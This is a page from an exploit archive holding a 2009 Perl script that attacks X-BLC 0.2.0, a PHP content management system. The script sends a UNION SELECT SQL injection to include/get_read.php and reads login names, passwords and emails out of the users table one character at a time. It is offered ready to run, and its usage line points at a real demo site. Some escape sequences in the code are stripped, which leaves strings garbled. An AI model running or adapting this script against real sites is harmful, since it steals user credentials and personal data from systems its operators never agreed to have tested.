[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : X-BLC 0.2.0 (get_read.php section) SQL Injection Vulnerability
# Published : 2009-03-23
# Author : dun
# Previous Title : SuperNews 1.5 (valor.php noticia) SQL Injection Vulnerability
# Next Title : PHPizabi v0.848b C1 HFP1-3 Remote Command Execution Exploit


#!/usr/bin/perl -w

#  :::::::-.   ...    ::::::.    :::.
#   ;;,   `';, ;;     ;;;`;;;;,  `;;;
#   `[[     [[[['     [[[  [[[[[. '[[
#    $$,    $$$$      $$$  $$$ "Y$c$$
#    888_,o8P'88    .d888  888    Y88
#    MMMMP"`   "YmmMMMM""  MMM     YM
#   [ Discovered by dun  dun[at]strcpy.pl ]
#
######################################################
#  [ xblc <= 0.2.0 ]   SQL Injection Vulnerability   #
######################################################
# 
# Script: "X-BLC is a dynamic web content management system written in PHP..."
#
# Script site: http://www.biolawcom.de/xblc/ ,	http://sourceforge.net/projects/xblc/
# Download: http://downloads.sourceforge.net/xblc/xblc-0.2.0.zip?use_mirror=fastbull
#
# Usage: perl expl.pl http://www.biolawcom.de/demo/
#
#######################################################
#
# [ dun / 2009 ] 

use IO::Socket;
use Socket;
use IO::Select;

my @tables=("id","login_name","password","email","status");

if(scalar(@ARGV) < 1) {
	print "nUsage: perl expl.pl http://site.com/path/nn";
	exit;
}

foreach $t (@tables) {
$i=1;
print $t." = ";
  do {
	$path 	= "include/get_read.php?section=-1+UNION+SELECT+ORD(SUBSTRING(".$t.",".$i.",1))+FROM+users/*";
	$host 	= $ARGV[0].$path;
	#############################################
	# $page = http_query($host, $proxy, $port); #
	#############################################
	$page = http_query($host);
	$page =~ /guest=(.*),runTime=/;
	$char=$1;
	print chr($char);
	$i++;
  } while($char != 0);
  print "n";
}
  
sub http_query {
 my $page="";
 my $url=$_[0];
 if(defined($_[1]) && defined($_[2])) {
	$host=$_[1];
	$port=$_[2];
	$get="GET $url HTTP/1.0rnUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)rnCookie: id=1rnConnection: Closernrn";
 } else {
	$port=80;
	$url=~s/http:////;
	$host=$url;
	$query=$url;
	$host=~s/([a-zA-Z0-9.]+)/.*/$1/;
	$query=~s/$host//;
	if ($query eq "") {$query="/";};
	$get="GET $query HTTP/1.0rnHost: $hostrnUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)rnCookie: id=1rnConnection: Closernrn";
 }
 my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"$port",Proto=>"tcp",Timeout => 3) or return;
 print $sock $get;
 my @r = <$sock>;
 $page="@r";
 close($sock);
 	
 return $page;
}

# www.Syue.com [2009-03-23]